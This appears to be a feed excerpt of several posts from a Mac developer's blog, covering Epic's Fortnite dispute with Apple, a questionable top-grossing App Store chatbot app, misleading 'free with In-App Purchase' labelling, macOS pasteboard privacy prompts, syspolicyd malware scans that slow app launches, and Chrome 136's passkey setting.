As to standing, the Ninth Circuit held that while Epic no longer has apps on Apple’s app store, Apple’s anti-steering provisions caused injury to Epic via loss of its subsidiaries’ earnings. Id. at 1000. Further, “Epic is a competing game distributor through the Epic Games Store and offers a 12% commission compared to Apple’s 30% commission. If consumers can learn about lower app prices, which are made possible by developers’ lower costs, and have the ability to substitute to the platform with those lower prices, they will do so—increasing the revenue that the Epic Games Store generates.”

This is why the quoted statements above refer to Epic Sweden, in the EU. As noted in Epic's May 16 court filing, they acquired an Apple developer account in Sweden as a result of the EU DMA:

Accordingly, in early 2024, Epic applied for a developer program account through a European-domiciled subsidiary, Epic Games Sweden AB. Apple approved that account but then revoked it within days, citing in part Mr. Sweeney’s public criticism of Apple’s response to the DMA. After the EC opened an inquiry into the matter, Apple reversed course and reinstated the Epic Games Sweden AB developer account.

The May 15 letter from Apple's attorney to Epic's attorney, now Exhibit D of Epic's court filing and linked in their May 16 tweet, expands on Apple's brief PR:

As you are well aware, Apple has previously denied requests to reinstate the Epic Games developer account, and we have informed you that Apple will not revisit that decision until after the U.S. litigation between the parties concludes. In our view, the same reasoning extends to returning Fortnite to the U.S. storefront of the App Store regardless of which Epic-related entity submits the app. If Epic believes that there is some factual or legal development that warrants further consideration of this position, please let us know in writing. In the meantime, Apple has determined not to take action on the Fortnite app submission until after the Ninth Circuit rules on our pending request for a partial stay of the new injunction.

I understand that the recent submission by Epic Sweden included a proposed Fortnite app for the U.S. storefront of the App Store as well as for alternative distribution in other geographies. To prevent our discussions surrounding the U.S. storefront of the App Store from impacting Fortnite in other geographies, please withdraw that submission and resubmit the app without including the U.S. storefront of the App Store (this can be accomplished by unchecking the relevant box). If you wish to submit for review a Fortnite app for the U.S. storefront of the App Store, please do so separately through an entity other than Epic Sweden that has executed the appropriate schedule to the DPLA.

Presumably, "unchecking the relevant box" refers to the Review Type in the screenshot from the Apple developer documentation. I am puzzled, though, by the phrase "separately through an entity other than Epic Sweden." I have no idea what Apple's attorney is referring to here, especially since the previous paragraph said, "regardless of which Epic-related entity submits the app." Purely speculating, the only interpretation that makes a bit of sense to me is that Apple wants Epic's developer account for alternative distribution in the EU to remain devoted exclusively to that purpose and completely avoid touching the App Store, whereas an entirely separate account could submit Fortnite to the App Store, although of course Apple has no current intention to approve such a submission, pending court decisions.

When a developer submits an app to Apple for a review, the process involves several steps. Initially, the submission has the status of "Waiting for Review", which means that it's simply sitting in a queue until a reviewer is assigned to look at the submission. Next, when the submission hits the top of queue, the status becomes "In Review". The developer can choose what happens if the submission is approved; there are three options: "Manually release this version", "Automatically release this version", or "Automatically release this version after App Review, no earlier than" [date and time]. If the developer chooses to manually release, then the status becomes "Pending Developer Release" after approval. At any point in this process prior to release in the App Store, the developer can choose to reject their own submission, simply by clicking "cancel this release" in App Store Connect. This is a perfectly normal thing to do, typically because the developer discovers a new bug in the app after submitting to Apple but before releasing in the App Store, and I've done it myself a number of times. (A couple of months ago, I had to do this while my submission was "In Review". Yoink! I fixed the bug and then submitted a new update, which started over "Waiting for Review" and was eventually approved.)

Indeed, while Epic was waiting for app review to take action on the Fortnite update, they had to reject their own submission and post a new one, due to online content changes. From Epic's May 16 court filing:

Although Apple claims that it reviews 90% of submissions within 24 hours, the May 9 Fortnite submission sat in limbo for five days. (Bornstein Decl. Ex. B.) Because Epic intended to launch on May 16 an updated version of Fortnite across all platforms, with significant new content developed jointly with a third party, the version of Fortnite that Epic submitted on May 9 became stale. (Bornstein Decl. Ex. C.) Thus, on May 14, 2025, Epic withdrew its submission and resubmitted an updated version. Id. The May 14 submission again included, side-by-side, Apple’s IAP and a link to cheaper purchases on the Epic Games Store. Id. Epic also notified Apple that the May 14 version needed to be approved by May 16 to meet the global launch timeline for the new version.

Indisputably, on the legal record, Epic Games has demonstrated their knowledge that submissions to Apple can be withdrawn and replaced. Thus, I see no reason why Epic can't follow the suggestion of Apple's lawyer to "please withdraw that submission and resubmit the app without including the U.S. storefront of the App Store".

Epic has also already demonstrated indisputably, via the letter from Apple's attorney, that Epic submitted a Fortnite update for both the US App Store and the EU alternative marketplace, and Apple admitted that they are refusing to approve that submission. The court would appear to have all of the evidence it needs to consider Epic's motion, and consequently there appears to be no good legal reason why Epic needs to sit in review purgatory instead of rejecting the May 14 Fortnite update and submitting a new update using the Notarization option instead of the App Store option. If the court ultimately agrees with Epic's motion, then at that point Epic can immediately submit a new update to Apple for both the US App Store and EU alternative marketplace. As far as I can tell, Epic is now voluntarily choosing not to update Fortnite in the EU, refusing to follow Apple's suggestion, thereby depriving Epic's EU users of the ability to play Fortnite. I don't want to psychoanalyze Tim Sweeney, so you'll have to ask him why, if he's willing to admit that Apple is not actually blocking Fortnite indefinitely in the EU.

To be perfectly clear: Apple is indefinitely blocking the May 14 submission of Fortnite that includes both the US App Store and the EU alternative marketplace, but Apple is not blocking EU-only submissions of Fortnite, which can continue at any time.

Addendum: Epic's questionable legal argument

I have no idea whether the court will grant or deny Epic's motion. However, I do take issue with the way Epic has articulated part of its argument. From the May 16 court filing:

On May 1, 2025, Epic notified Apple of its intent to avail itself of the Injunction and the new Guidelines. Specifically, Epic notified Apple that Epic would use the same developer account that it uses to distribute the Epic Games Store and Fortnite in the European Union to submit Fortnite for App Review in the U.S. Epic invited Apple to provide it with further direction if Apple preferred that Epic submit Fortnite for review another way (e.g., through a different developer account). On May 2, 2025, Apple—through its outside counsel— stated that if Epic wanted to submit using the process Epic had outlined, it should do so. (Bornstein Decl. ¶ 5.)

Exhibit A is an email thread between Epic and an Apple World Wide Developer Relations representative between May 1 and May 4. For illustrative purposes, I'll quote the entirety of Apple's emails, except for the names of the participants:

Thanks for the heads up. Let me check and get back to you ASAP.
We're working to figure out the right way to do this. Can you hold off for a bit?
OK. Thanks for the heads up. Stand by.
Received! Working on it.
Thank you for the heads up. Socialized.
Sent from my iPhone

At first I thought that "Socialized" was the result of iPhone autocorrupt, but someone suggested to me that this was intentional, some new corporate-speak for "shared with the people involved/affected", which makes me want to vomit. Anyway, it's clear that the Apple WWDR representative was merely acknowledging the receipt of Epic's emails and at no point offered advice or suggestions other than to wait.

Epic's May 16 court filing includes a declaration from Epic's lawyer, who recounts a phone conversation with Apple's lawyer:

On May 2, 2025, Mark A. Perry, counsel for Apple, called me about the Fortnite submission. Mr. Perry stated that because of the litigation between Epic and Apple, the submission had been escalated to his attention. He told me that Apple could not comment on whether the proposed Fortnite build would be accepted because Apple had not yet received it for review, but that if Epic wanted to submit the build using the Epic Games Sweden AB account, Epic should go ahead and do so.

I want to emphasize two crucial parts of that conversation:

  1. "Apple could not comment on whether the proposed Fortnite build would be accepted"
  2. "if Epic wanted to submit the build using the Epic Games Sweden AB account"

Apple did not unqualifiedly suggest that Epic go ahead and submit Fortnite for the US App Store. Epic had already stated their intention to do so, and Apple was simply approving (or at least not objecting to) that specific action, without giving any indication of whether the submission would be approved for the App Store. And while Apple has indeed declined to approve the submission, they haven't taken any further action against Epic in retaliation or punishment for the submission. For example, the Epic Sweden developer account has not been revoked; to the contrary, Apple has recommended that Epic continue to use that account to submit EU-only updates to Fortnite.

]]>
A look at a Mac App Store top grosser https://lapcatsoftware.com/articles/2025/5/4.html 2025-05-16T13:20:00Z 2025-05-16T13:20:00Z My recent blog post Free with In-App Purchase is a sham already looked at a top grossing app in the Mac App Store, and App Store Curation at a top grossing app in the iOS App Store—err, formerly top grossing, since the latter was removed from the App Store after I wrote about it. I was inspired by those blog posts, by recent events involving the App Store (gestures broadly), and by my free time before WWDC to look at some more apps. This blog post is about an app named Chatbot: Ask AI Chat Bot, subtitled "Built on ChatGPT OpenAI, GPT-4", by the developer Tuqeer Ahmad. If you're not familiar with Tuqeer Ahmad, well… neither am I. Nonetheless, Chatbot: Ask AI Chat Bot is currently #23 top grossing in the Mac App Store and the #64 top "free" download according to AppFigures.

Believe it or not, the app is in the Education category of the Mac App Store. In fact, it's #1 top grossing and the #3 top download in Education. (I would guess that's because students are looking for ways to cheat on their homework, sigh.) The app has a 12+ age rating.

The first thing I noticed about this app is that its support and privacy policy links in the App Store are obfuscated by a link shortener! The support link is https://tinyurl.com/4m7frktn which redirects to https://docs.google.com/forms/d/e/1FAIpQLScRzzbWvriDhmsjLj-hf6yqlPsCezDBdiUVbgW91Osu6Gy29A/viewform, and the privacy policy link is https://tinyurl.com/mr29fdcw which redirects to https://docs.google.com/document/d/e/2PACX-1vRyFSuvXsts_S74dqaVa_NmT17DZTqM7EnrXOELnA6k9FMgaA5CYOJqqpDwVb4cIRo2pkb3T37msHO7/pub. I'm not providing clickable links here, because I don't want to give the app any referrers or SEO, but you can copy and paste the URLs if you want to open them yourself.

I don't know how Apple allows tinyurl links in the App Store, or Google Docs for that matter. As far as I can tell, the developer doesn't have a web site at all. The bundle identifier of an app is typically reverse DNS of a domain owned by the developer, for example, com.apple.Safari; in this case, the bundle identifier of Chatbot: Ask AI Chat Bot is com.na.chatbot, but https://www.na.com is the web site of an unrelated North American commercial distributor and supply company.

Another issue I noticed with the App Store listing is that the developer does not identify as a trader in the European Union. To see this, just open the Irish App Store link: https://apps.apple.com/ie/app/chatbot-ask-ai-chat-bot/id6451158502.

Tuqeer Ahmad has not identified itself as a trader for this app. If you are a consumer in the European Economic Area, consumer rights do not apply to agreements between you and the provider.

Apple provides a document for App Store developers on trader requirements and self-assessment. Some relevant excerpts:

Articles 30 and 31 of the Digital Services Act (DSA) require Apple to verify and display trader contact information for all traders distributing apps on the App Store in the European Union (EU).

[…]

To determine if you're a trader, you should consider a range of non-exhaustive and non-exclusive factors (see those listed on page 2 in the EC’s Guidance), which may include:

  • Whether you make revenue as a result of your app, for example if your app includes in-app purchases, or if it's a paid or ad-sponsored app — especially if you're transacting in large volumes;

The app does include IAP, and as I've already noted, makes a significant amount of revenue (more than my apps!), so it seems difficult to dispute that the developer is a trader. Thus, the developer's self-assessment appears to be inaccurate and indeed illegal in the EU.

I haven't even launched the app yet! Let's get to it. Below is the window I see when I first open the app. Note that the window's close, minimize, and maximize buttons are disabled.

In-App Purchase screen

The 99% Up-Time Guarantee puzzles me. First, 99% uptime is not actually very good: it would average to 101 minutes of downtime per week, almost 88 hours per year. Second, and more important, how is it possible for a third-party Mac app to guarantee the uptime of OpenAI's ChatGPT? It's unclear how Apple allowed this unfulfillable promise in the IAP screen.

The app claims that its one-time payment price "was" $319.98, now $159.99, 50% off the (alleged) previous price. I have no way to verify whether the price was ever $319.98, but if it was… wow. I mean, $159.99 is wow too. I hope nobody has paid that much for this app. For some historical perspective, Mac OS X itself (back when it was good) used to retail for $129.95.

The "save 83%" advertisement for the $69.99 yearly auto-renewing subscription appears to be accurate, if you're comparing with the price of the weekly subscription ($7.99 x 52 = $415.48, wow). The "save 54%" advertisement for the $14.99 monthly subscription is in the ballpark but appears to be underselling it a bit: $14.99 x 12 = $179.88, which would be about 57% off the weekly price. A free trial is available only with the monthly subscription, and that's the option selected by default.

It's a strange coincidence that so many of these subscription apps have a 3 day free trial. The app "Docs for Google Docs and Drive" that I blogged about before also has a 3 day trial. I would speculate that perhaps 3 days is the shortest trial that Apple allows?

Again, the Privacy Policy and Terms of Use links are tinyurl. The former is the same as in the App Store. The latter is https://tinyurl.com/ysypbjm3 which redirects to https://docs.google.com/document/d/e/2PACX-1vSguSvZyC12AaDzXhYHUUHQ1ZWALX4iFCvFoW-RUADGYLCXJhqA2JA-aM30WS-UOCicSVn0K1Zmx51S/pub.

The big CONTINUE button continues with In-App Purchase. The subtle close widget in the upper right corner does work and closes the IAP screen, allowing you to access the rest of the app without purchase or trial. There are three main features: chat, analyzing images, and removing the background from images. The chat screen includes an advertisement for the developer's other App Store app, AI Image Generator & Photo Art, which has similar pricing.

What do you want to ask today?

If I select anything other than GPT-3.5 Turbo in the popup list of models, the window returns to the In-App Purchase screen. (I did not make a purchase or start a trial.)

The phone icon (Contact us) opens an email addressed to helpishereattuqeer@gmail.com with the subject "Feedback for Chatbot".

Scan Image to Analyze Object, Drag & drop image here or Choose From Finder
Remove Background, Drag & drop image here or Choose From Finder

Aside from the main window, there's not much to the app. Its main menu is quite sparse.

Chatbot menu File menu Edit menu Window menu

I can open multiple new windows, but the other windows are lost on quitting and relaunching the app. And the main window always shows the In-App Purchase screen on launch; I assume (but can't confirm) that this would stop if I made a purchase.

The app connects to https://us-central1-chatbotmac-5bbfa.cloudfunctions.net when you use the chat feature. This is a Google Cloud domain. Presumably the app developer is using Google Cloud to directly access the ChatGPT API.

Anyway, that's what it takes to become one of the top grossers in the Mac App Store. On the web, I can find no media coverage, word of mouth recommendations, or even advertising for this app. Tuqeer Ahmad is effectively anonymous. And unlike the iOS App Store, the Mac App Store has no search ads. So how does this developer find customers? Honestly, I don't know, other than stuffing the app title, subtitle, description, etc., with popular search keywords.

Curiously, the app may have changed ownership recently. Looking at the Mac App Store user reviews, many of them have a developer response containing an email address. In the reviews from April and May, the address is always helpishereattuqeer@gmail.com, the same as I mentioned above. However, in the reviews from March and earlier, info@nymbleapps.com is the address.

10

There is a web site at https://www.nymbleapps.com for Nymble Apps LLC, "The Future of Artificial Intelligence", who claim to have "The most intelligent ChatBot." The web site says that company is based in Cupertino, California, coincidentally the corporate headquarters of Apple Inc. The listed address of Nymble Apps appears to be a modest house in a cul-de-sac. (Since it's Cupertino, though, the property estimate is a ridiculous $2.7 million.)

By the way, very soon after I started using the app, it requested a rating.

Enjoying Chatbot? Click a star to rate it on the App Store.
]]>
Making my app worse because of macOS privacy protections https://lapcatsoftware.com/articles/2025/5/3.html 2025-05-14T13:15:00Z 2025-05-14T13:15:00Z Last month, Apple added a note about macOS pasteboard privacy to the AppKit release notes for developers:

Prepare your app for an upcoming feature in macOS that alerts a person using a device when your app programmatically reads the general pasteboard. The system shows the alert only if the pasteboard access wasn’t a result of someone’s input on a UI element that the system considers paste-related. This behavior is similar to how UIPasteboard behaves in iOS. New detect methods in NSPasteboard and NSPasteboardItem make it possible for an app to examine the kinds of data on the pasteboard without actually reading them and showing the alert. NSPasteboard also adds an accessBehavior property to determine if programmatic pasteboard access is always allowed, never allowed, or if it prompts an alert requesting permission. You can adopt these APIs ahead of the change, and set a user default to test the new behavior on your Mac. To do so, launch Terminal and enter the command defaults write <your_app_bundle_id> EnablePasteboardPrivacyDeveloperPreview -bool yes to enable the behavior for your app.

It turns out that when the new hidden preference is set, my own app Link Unshortener triggers an alert on launch.

Link Unshortener is trying to access the pasteboard.

Why does this happen? When you open a URL in Link Unshortener, a new window opens with the URL automatically displayed in the text entry field, ready to unshorten. When you launch the app manually or select the "New Window" command, on the other hand, there's initially no URL to unshorten, so Link Unshortener helpfully looks for a URL in the pasteboard and, if one is found, automatically displays it in the text entry field, which would otherwise be empty. This feature makes it easy to copy a URL from another app and use it in Link Unshortener.

Link Unshortener window

If Apple follows habit, then macOS 16 will be announced and previewed next month at WWDC 2025. I expect the California-themed name to be macOS Alcatraz. Presumably, the new pasteboard alert will appear by default in macOS 16, presenting a number of problems for users and developers. First, the alert has no option to always allow paste. Second, the alert has no explanation of why the app is trying to access the pasteboard. Third, and most important, I don't want the first launch experience of my app to be a permissions request.

Thus, I'm simply removing the feature from Link Unshortener that autofills a URL from the pasteboard. It's not an essential feature for the app, just a minor quality of life improvement. I'm making the app a little worse to avoid the much worse permission prompt.

A new section of System Settings allows users to manage the pasteboard permissions of apps that have requested access. However, users have to find the new section in System Settings for themselves, or an app that needs permissions has to open System Settings for users, because the visually and functionally meager system alert won't do it.

System Settings, Privacy & Security, Paste from Other Apps

Perhaps at WWDC, Apple will announce a new Info.plist key for apps to specify a reason for pasteboard access to appear in the new alert. Other such keys already exist, such as those specifying the reason for location and microphone access. As far as I'm aware, though, no new API exists for that yet.

Regardless of the ultimate design of the alert, its wording and options, my biggest problem with the alert is its very existence. That's why I'm removing a feature from my app. I'm not going to argue in this blog post about whether the new macOS privacy protection is necessary or good; I'll merely note that there are almost always tradeoffs between security and usability. One of the tradeoffs here is that my app is becoming a little less usable. Link Unshortener's use of the pasteboard was never malicious. It was meant to help users, not harm them. And the feature has been in the app since the beginning, five years ago. (I just realized that the 5th anniversary of Link Unshortener was last month!) Indeed it was the very last git commit before releasing version 1.0 of Link Unshortener: "When opening a blank window, check for a URL on the pasteboard."

It's likely that some other Mac apps will suffer worse fates than mine, apps that rely on pasteboard access as an essential feature. I actually ran defaults write -globalDomain EnablePasteboardPrivacyDeveloperPreview -bool yes to enable the hidden preference in all apps, but I had to disable it soon thereafter, because I ran into too many annoying problems. For example, the permissions alert appeared when I pasted a URL into the Google Chrome address bar. In Safari, cut and paste were very wonky too: sometimes I saw the alert, sometimes my actions just failed silently. Begun, the clipboard war has.

]]>
Free with In-App Purchase is a sham https://lapcatsoftware.com/articles/2025/5/2.html 2025-05-06T15:45:00Z 2025-05-06T15:45:00Z A couple of weeks ago I published a blog post about App Store Curation. At the end I said:

Apple claims that locking down iOS to the App Store is justified in order to protect consumers from danger. Time and again, however, it's painfully obvious that Apple's so-called "curation" of the App Store is terrible, miserable, incompetent, negligent.

By the way, the app I wrote about, Virus Protection for Phone, was removed from the App Store shortly thereafter. Perhaps Apple should pay me to do their job for them. How about a bounty for scams? I'll take, say, 30% of their revenue.

In this blog post, I want to discuss a fundamental, intentional design flaw of the App Store that misleads consumers: the category of apps that are labeled as free with In-App Purchase. The App Store shows an explanation of In-App Purchases when you click the Learn More link in the In-App Purchases section of an app's product page; here's a quote from the first paragraph of Apple's document:

Many of your favorite free and paid apps and games offer in-app purchases, which are optional transactions that change an app's functionality or unlock digital goods, content or services. You can find out if an app offers in-app purchases by visiting its product page in the App Store. Just look for the "In-App Purchases" messages near the Get or Price button.
About In-App Purchases

The problem is that what Apple means here by "free" as opposed to "paid" is simply that you don't have to pay before downloading the app, but Apple's counterintuitive definition tends to obscure what is most important to consumers: how much you have to pay to use the app. The range of allowed use can vary drastically among apps that are free with IAP. Some apps can be used forever for free with no apparent limitations, and the IAP merely unlocks bonus content or features. Some can be used for free in "reader" mode, with the ability to open and read documents, while an IAP is required to edit and/or sync documents. Some apps are free to use fully for only a limited time; in other words, they have a time-limited free trial. At the end of the trial, various outcomes are possible. Time-limited trials are especially popular with auto-renewing subscription apps, which start charging you automatically at the end of the trial. And ironically, some so-called "free" apps don't allow any use at all unless you first pay the IAP.

Three years ago, I highlighted such an app that was free to download but could not be used in any way without the IAP. In response to the ensuing negative publicity, the developer of the app added a time-limited free trial. Nonetheless, Apple had already approved the app without a free trial, and there's no evidence that Apple or its app review team has any objection to the bait-and-switch tactic. As Nick Heer wrote at the time:

This is the kind of thing Apple sought to prevent when it launched In-App Purchases as a feature for paid apps only. Opening them up to free apps has created different purchasing mechanisms in the App Store and has pushed the industry toward subscription pricing, but it has also enabled scummy behaviour like this.

The app in question is still in the Mac App Store, apparently renamed from "Docs Pro for Google Drive" to "Docs for Google Docs and Drive", but still labeled as free with IAP. In fact it's one of the Mac App Store's most financially successful apps, currently ranked #33 top grossing the United States, according to AppFigures.

Docs for Google Docs and Drive

Below is a screenshot of the app's window now on first launch (click to see full size):

Docs for Google Docs and Drive launch window

You might be shocked to learn that the window is actually floating. That is, it floats above and covers every other window on the Mac, even if you switch to a different app. And Apple approved this. You can close the floating window, but that quits the app.

By default, the lifetime $39.99 license is selected. It's labeled "Best choice - no subscription". The 3 day free trial is available only if you select the $19.99 yearly subscription option. The subtitle of the subscription option says, "Only $5.00/month", the math of which is way off and would add up to $60 per year if accurate. I don't know how that window got approved by Apple.

To get the free trial, I selected the subscription option.

Free for 3 days starting now. Automatically renews for $19.99 starting May 8, 2025.

The instructions for canceling the trial are vague, "in your account". This may be unhelpful or even confusing for novice App Store users, the very people most in need of Apple's protection. Adding to the potential confusion, as soon as you press OK, a new window opens asking you to Sign in to Google with your Google account. (I'll present evidence of customer confusion later in this blog post, in the form of App Store user reviews.)

Cancel anytime in your account at least a day before each renewal date.

Fortunately, I did receive a subscription confirmation email from Apple that included a link to my Apple Account subscriptions management page and confirmed the terms of the subscription: "To avoid being charged, you must cancel at least a day before each billing date."

I am puzzled by the wording of the terms. If it just said, "you must cancel before the billing date", that would make perfect sense. On the other hand, "at least a day before" sounds to me like at least 24 hours before, which would effectively make the trial 2 days rather than 3 days! Of course you could use the app on the 3rd day whether or not you cancel the subscription, but if you had to decide whether or not to subscribe by the 2nd day, then in an important sense, you couldn't really try the app on the 3rd day.

Anyway, I'm not claiming that Docs for Google Docs and Drive is violating any App Store rules. As far as I'm aware, it's not. Neither am I claiming that the app's behavior is unique in the App Store. To the contrary, it seems all too common, sadly. And why wouldn't developers follow this pattern when it clearly leads to financial success in the App Store? I get the feeling that this is precisely the App Store that Apple wants. How could it not be, when the App Store was "designed by Apple in California"?

My own App Store apps are upfront paid. As an honest, ethical developer, I prefer to be as upfront as possible with customers. Unfortunately, paid apps have to compete in the App Store with so-called "free" apps, and how many people would choose to pay for something that they (believe they) can get for free? The App Store is frequently compared to a retail store, usually to defend Apple's iOS lockdown, but how many retail stores in the world are filled with free stuff? According to Apple, in response to criticism from Spotify, "A full 84 percent of the apps in the App Store pay nothing to Apple when you download or use the app. That’s not discrimination, as Spotify claims; it’s by design". Imagine the difference it would make, though, if the "Get" buttons in the App Store were accurate and informative. What if, for example, the button to download Docs for Google Docs and Drive was labeled "$39.99", with a subtitle that said, "$19.99 yearly subscription also available with 3 day free trial". How many people would click that button, compared to "Get" with the subtitle "In-App Purchases"? It appears to me that the App Store is not doing a good job of protecting consumers.

Docs for Google Docs and Drive has a user rating in the App Store of 4.6 out of 5 stars. However, since the app is free to download, anyone can rate and review it without having to pay anything. I just did. I don't know whether any of its ratings and reviews are fake, but in general the ability to download an app without paying makes review fraud a lot easier. In any case, there is some evidence that Docs for Google Docs and Drive is somewhat pushy and premature in soliciting ratings from users:

Really?...now? Kind of dumb to ask me to rate with so little time to use

I said earlier that the App Store reviews provided evidence of user confusion about pricing, which I'll now show.

Not really a free app if you have to buy something in order to use it!!

This requires a subscription of $20/year or $40 for lifetime so don't download the app if you don't want to buy it.

Trys to make me pay for a subscription when google docs is free

advertized as a free app, but once you attempt to open it your required to pay. you cant even get into the app or past the first screen without buying some sort of subscription or membership. its just a waste of your time, dont even bother to download it.

I absolutly hate this. I was trying to make a google doc so i found this and thought it would be great... well no, i was wrong. i opened it and the first screen is a thing to pick on how much money you are gonna pay. i expected this app to be free and very useful but i guess i was wrong. i cannot believe i am supposed to pay to take notes or something.

Just an FYI for those looking to purchase, google doesn't charge for these services. It seems to me that they're trying to appear as an entity of Google, but they're not. The company name is Fokusek Enterprise. Also, don't label your app as Free, when your only option to use it is to pay or start a trial, when you know that so many people are busy and end up forgetting to cancel in time. Such a scummy practice.

This first thing it asked was to pay monthly. Why would I pay this to have all Google apps in one place? Google should make an app that has everything accessible and not making users paying just to have something easier to access.

I have a mac and it is so much easier to go to Google docs or any other google than to download this and pay money for it to be downloaded. its the same thing. useless i want my money back

Note that every one of these reviewers downloaded the app before writing their reviews. Also note the last reviewer requesting a refund, apparently not knowing how to get one from Apple? Here's another case of confusion over App Store procedures:

It is hard to contact anyone to cancel your subscription.

You need to cancel subscriptions with Apple, not with the app developer. Apple is supposed to protect users by making refunds and subscription cancelations easy, but Apple doesn't actually make it as clear and easy as claimed. Why aren't there refund and cancel buttons directly on the app's product page? Such buttons could be right above the Ratings & Reviews section! For that matter, why don't app developers have to ability to offer refunds directly to customers? As a developer, I would love that!

Oddly, as far as I can tell, Apple has no official refund policy for App Store purchases. I've certainly searched for such a thing. The "policy" appears to be that you can request a refund from Apple, and Apple may grant or deny the refund at its own discretion, for any reason or no reason. This approach differs greatly from most retail stores, which typically publicize that you can get a refund within a specified number of days with a receipt, perhaps with a predefined restocking fee.

This is not an article about one app. I only used Docs for Google Docs and Drive as a convenient illustration of a ubiquitous phenomenon. I tend to write about the Mac App Store for the simple reason that I work mostly on a Mac, and as with most tasks, it's so much easier to do App Store research on a Mac than on an iOS device. The reality of the Mac App Store, though, is that it's merely an afterthought to Apple, a clone of the iOS App Store, much like the iOS App Store itself was originally a clone of the iTunes Music Store. Unfortunately, 17 years later, the App Store has retained much of the original format of the Music Store, which was designed to sell 99 cent songs, not complex software. There's no such thing as In-Song Purchase, nor does there need to be. The basic format of the App Store is a poor fit for software distribution and does a great disservice to software consumers.

]]>
Why some Mac apps launch slowly: A follow-up https://lapcatsoftware.com/articles/2025/5/1.html 2025-05-01T15:15:00Z 2025-05-01T15:15:00Z Last year I wrote a blog post Mac app launches slowed by malware scan:

I discovered that the slow launches are caused by the syspolicyd process, specifically DispatchQueue "com.apple.security.syspolicy.yara". The backtrace showed syspolicyd calling the yr_rules_scan_file function.

Recently, however, voluminous blogger Howard Oakley has written a series of blog posts, starting with Why some apps launch very slowly and culminating with Why some apps sometimes launch extremely slowly, that appear to be in denial of my discovery. Oakley says,

Malware scan using any known Yara rules is most unlikely, as:

  • XProtect Yara rules commonly include file size limits, resulting in few rules applying to larger files, and more rapid completion.
  • Known checks using Yara rules are all well-recorded in log entries, and the source of those rules is stated clearly.
  • Yara scans are normally reported with their result.
  • Scan results are succinct and hardly likely to be lost in a ‘cache miss’.

I'm truly baffled by this denial, because the backtrace I mentioned comes directly from spindumps (/usr/sbin/spindump), which take frequent (10 milliseconds by default) samples of all running processes on the system. Spindumps don't lie!

The spindumps also indicate that the syspolicyd malware checks are triggered by the dlopen function to load a dynamic library. These are the framework checks that Oakley mentions; a framework is essentially bundled dynamic library. You can see the series of function calls in the samples of the launching app:

dyld4::APIs::dlopen_from(char const*, int, void*)

AppleSystemPolicy::fileCheckLibraryValidation(proc*, fileglob*, long long, long long, unsigned long)

AppleSystemPolicy::perform_malware_scan_if_necessary(ASPProcessInfo*, ASPEvaluationInfo*, int, ScanMeta*, int*, unsigned int, int, long long*)

AppleSystemPolicy::waitForEvaluation(syspolicyd_evaluation*, int, ASPEvaluationInfo*, vnode**, evaluation_results*, long long*, char const*)

It doesn't get any more obvious than perform_malware_scan_if_necessary! And the app is literally waiting for the syspolicyd evaluation, hence the slow launch.

I tried to explain this to Oakley in the comments of one of his blog posts, but for some strange reason, he refuses to accept my points. In fact, he refuses to take or to read a spindump. At first he claimed it was too difficult for anyone except an "expert" like me, but I simply selected "Spindump" from the action menu in Activity Monitor and then did a text search of the resulting file. (On the other hand, you can control the timing of the spindump more precisely using the spindump command-line tool, even specifying that it should wait for a particular app to launch.)

Oakley's position appears to be that the log messages tell him everything that he needs to know, as if a phenomenon doesn't exist unless it's logged. As a computer programmer himself, Oakley ought to know better, because a log message occurs only if the programmer specifically, intentionally writes a logging statement in the program. Not everything that happens on your Mac is magically logged.

Here's Oakley's own theory about the slow launches:

The most likely activity to account for these long checking times is computation of SHA-256 hashes for the contents of each item in the app’s Frameworks folder. Thus, these occasional extremely long launch times are most probably due to time taken ‘evaluating trust’ by computing hashes for protected code in the Frameworks folder in the app bundle, when those hashes have been flushed from their cache.

Oakley seems to be claiming, with no empirical evidence, that Macs have a cache of SHA-256 hashes of all bundled files of all apps that have been launched. But where exactly is this cache??? I've never seen it or heard of such a thing. As far as I can tell, it's pure speculation by Oakley based on nothing but a terse log message:

com.apple.syspolicy.exec Recording cache miss for <private>

Ironically, the references to com.apple.syspolicy.exec and AppleSystemPolicy in his log messages appear to match quite well with the results of my spindumps. I don't deny that something is cached, but I think the evidence suggests that what is cached is the result of a malware scan, which for practical purposes would make a lot more sense than a bunch of hashes. After all, malware definitions are periodically updated for newly discovered malware, which means that the results of previous malware scans would eventually become outdated. Whereas Oakley's theory doesn't make much sense to me. The code signature of executables is always checked when the executable is loaded at runtime, so if the app has been modified since the previous launch, that would be detected anyway. Moreover, apps have some protections against modification: App Store apps are owned by the root user, and the App Management feature prevents (or is supposed to prevent) notarized apps from unauthorized modification. Thus, I don't even understand the utility of caching SHA-256 hashes of bundled files and periodically recalculating them.

It's also worth noting that Oakley's discussion of hashing performance ignores a key detail: the apps that he examines are universal binaries, with both Intel and ARM architectures. This doubles the size of the bundled dynamic libraries. Oakley runs some hashing tests based purely on the sizes of files, but as Apple explains in a tech note linked to by Oakley's article, each architecture has its own separate code signature:

The command above includes the --arch x86_64 option to show the Intel code signature. Without that codesign shows the code signature for the architecture on which you run the command. So, if you’re on Apple silicon, you’ll see the Apple silicon code signature.

When an app is launched, it's unlikely that the system would inefficiently spend time checking the code signature of an unused architecture, so whatever checks are performed should be measured against only the half of the sizes of the executables.

Overall, as far as I can tell, there's nothing new here, and Oakley is simply observing the same phenomenon that I already observed last year.

]]>
Google Chrome 136 automatically upgrades your accounts to use passkeys https://lapcatsoftware.com/articles/2025/4/9.html 2025-04-29T23:58:00Z 2025-04-30T01:43:00Z Chrome version 136.0.7103.49, released today by Google, includes a new setting in its Password Manager (chrome://password-manager/settings). Here's what the Password Manager looked like in Chrome 135:

Chrome 135 Password Manager

And here's Chrome 136:

Chrome 136 Password Manager

The new setting is enabled by default; I've seen this on multiple computers.

Automatically create a passkey to sign in faster
Allow sites and apps to upgrade existing accounts to use passkeys

This new setting is not actually included on the What's New in Chrome page (chrome://whats-new/), which doesn't even mention passkeys.

It is mentioned by the New in Chrome 136 post on the Chrome for developers blog:

You can now upgrade existing password credentials to a passkey.

"You" here apparently refers to web developers, not to users, who aren't given a choice, as the more detailed explanation shows:

WebAuthn Conditional Create requests let a website (known as a Relying Party or RP) create a passkey without prominent modal mediation, if the user has previously consented to credential creation.

The main use case is commonly referred to as "passkey upgrades". That is, if the browser or credential manager already stores an existing password credential for the same relying party and user, conditional create lets the website automatically create a matching passkey.

This post is an FYI for Chrome users. I found the new setting because I'm the type of person who's inquisitive (suspicious) and goes through the settings of an app after a significant software update. I'm also not a fan of passkeys.

I would agree with Matthew Green, who coincidentally said today,

